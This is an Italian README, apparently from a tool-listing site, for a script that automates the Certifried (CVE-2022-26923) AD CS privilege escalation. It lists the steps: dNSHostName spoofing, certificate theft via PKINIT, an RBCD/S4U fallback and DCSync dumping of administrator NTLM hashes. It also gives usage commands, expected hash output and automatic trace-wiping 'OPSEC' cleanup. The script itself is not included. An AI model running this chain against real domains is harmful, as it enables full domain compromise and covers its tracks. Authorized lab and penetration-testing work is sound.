CVE-2022-26923 – Exploit Certifried (Abuso di AD CS)

Automazione dello sfruttamento di CVE-2022-26923 (Certifried), che consente l'escalation dei privilegi attraverso l'abuso dei Servizi Certificati di Active Directory (AD CS), con un fallback automatico alla Delega Vincolata Basata su Risorse (RBCD), portando infine al dump dell'hash NTLM di un account amministratore di dominio.

⚠️ Solo per scopi educativi / Lab / CTF

Non utilizzare in ambienti non autorizzati.

🎯 Descrizione

Questo script automatizza la seguente catena d'attacco:

Metodo 1 — Classico (Sfruttamento diretto CVE)

1. Creare un account macchina controllato (nome casuale per evitare conflitti)
2. Spoofare l'attributo dNSHostName per corrispondere al Domain Controller
3. Richiedere un certificato macchina tramite AD CS
4. Autenticarsi usando il certificato → estrarre l'hash NTLM del DC tramite PKINIT
5. Eseguire un attacco DCSync con secretsdump.py usando l'hash del DC

Metodo 2 — Fallback (RBCD) (automatico se il Metodo 1 fallisce)

6. Convertire PFX in PEM per l'uso con bloodyAD
7. Configurare la Delega Vincolata Basata su Risorse (RBCD) sul DC
8. Aggiungere un SPN all'account macchina compromesso tramite impacket-addspn
9. Richiedere un ticket S4U2Self + S4U2Proxy con getST.py
10. Dumpare l'hash NTLM tramite secretsdump.py usando il ticket Kerberos

🔗 Vulnerabilità

• CVE-2022-26923 – "Certifried" — CVSS 8.8 (Alto)
• Colpisce ambienti Active Directory con AD CS in esecuzione
• Consente a un utente con pochi privilegi di impersonare un Domain Controller manipolando l'attributo dNSHostName, facendo sì che l'CA emetta un certificato per l'account del DC

🛠 Strumenti Utilizzati

📦 Installazione Dipendenze

pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 Utilizzo

chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

Opzioni Disponibili

-d, --dc-ip     Indirizzo IP del Domain Controller
-D, --domain    Nome del dominio (es. corp.local)
-u, --user      Utente di dominio valido (formato UPN: user@domain)
-p, --pass      Password dell'utente
--verbose       Modalità debug: mostra tutti i comandi eseguiti
-h, --help      Mostra questo messaggio di aiuto

🧠 Esempio (HTB Certifried)

./CVE-2022-26923.sh \
  -d 10.129.227.189 \
  -D certifried.htb \
  -u [email protected] \
  -p 'Ch4ng3m3!' \
  --verbose

Consiglio: Prima di eseguire, identifica il nome esatto del CA e il template usando:

root@kitploit:~

certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout

Poi aggiorna CA_NAME e TEMPLATE nei valori predefiniti dello script di conseguenza.

🔥 Output Previsto

A seconda dell'ambiente, uno dei due percorsi avrà successo:

Metodo 1 (Classico):

[5] Tentativo di autenticazione classico (Recupero hash DC)...    [SUCCESSO]
[+] Hash NTLM del Domain Controller recuperato: aad3b435b51404eeaad3b435b51404ee:6f9d...

[6] DCSync di administrator tramite secretsdump...
administrator:500:aad3b435...:<nthash>:::

Metodo 2 (Fallback RBCD):

[5] Tentativo di autenticazione classico (Recupero hash DC)...    [FALLITO]
[*] Passaggio al metodo Fallback (RBCD + SPN)...

[Fallback-5] Esecuzione di secretsdump tramite ticket RBCD...
administrator:500:aad3b435...:<nthash>:::

La pulizia OPSEC viene eseguita automaticamente alla fine (o con Ctrl+C):

[*] Avvio pulizia tracce (OPSEC)...
    [OK] Pulizia completata.

🏗 Flusso d'Attacco Interno

Random Machine Account Creation (e.g. PWN8472$)
              ↓
    dNSHostName Spoofing → dc.domain.local
              ↓
  Dynamic LDAP Sync Verification (polling)
              ↓
  Certificate Request via RPC (Machine Template)
    [NETBIOS timeout auto-retry up to 5x]
              ↓
┌─────────────────────────────────────────┐
│         METHOD 1 — CLASSIC              │
│   certipy-ad auth -pfx dc.pfx           │
│   → DC NTLM hash via PKINIT             │
│   → DCSync via secretsdump              │
└────────────────┬────────────────────────┘
                 │ [FAILS]
                 ▼
┌─────────────────────────────────────────┐
│         METHOD 2 — RBCD FALLBACK        │
│   PFX → PEM conversion (openssl)        │
│   bloodyAD: add rbcd dc$ COMP$          │
│   impacket-addspn: SPN on COMP$         │
│   getST: S4U2Self + S4U2Proxy (cifs/)   │
│   secretsdump via KRB5 ticket           │
└─────────────────────────────────────────┘
              ↓
 OPSEC Cleanup (trap EXIT/INT/TERM)
   - Remove RBCD attribute on DC
   - Delete machine account (COMP$)
   - Wipe local PFX / PEM / ccache files

🔧 Problemi Noti e Risoluzione dei Problemi

⚠️ Dichiarazione di non responsabilità

Questo progetto è fornito per:

• Scopi educativi e di ricerca
• Ambienti di laboratorio personali
• Sfide CTF / HackTheBox / Capture-The-Flag
• Incarichi di penetration testing autorizzati (con approvazione scritta)

L'autore non si assume alcuna responsabilità per qualsiasi uso non autorizzato o illegale di questo strumento.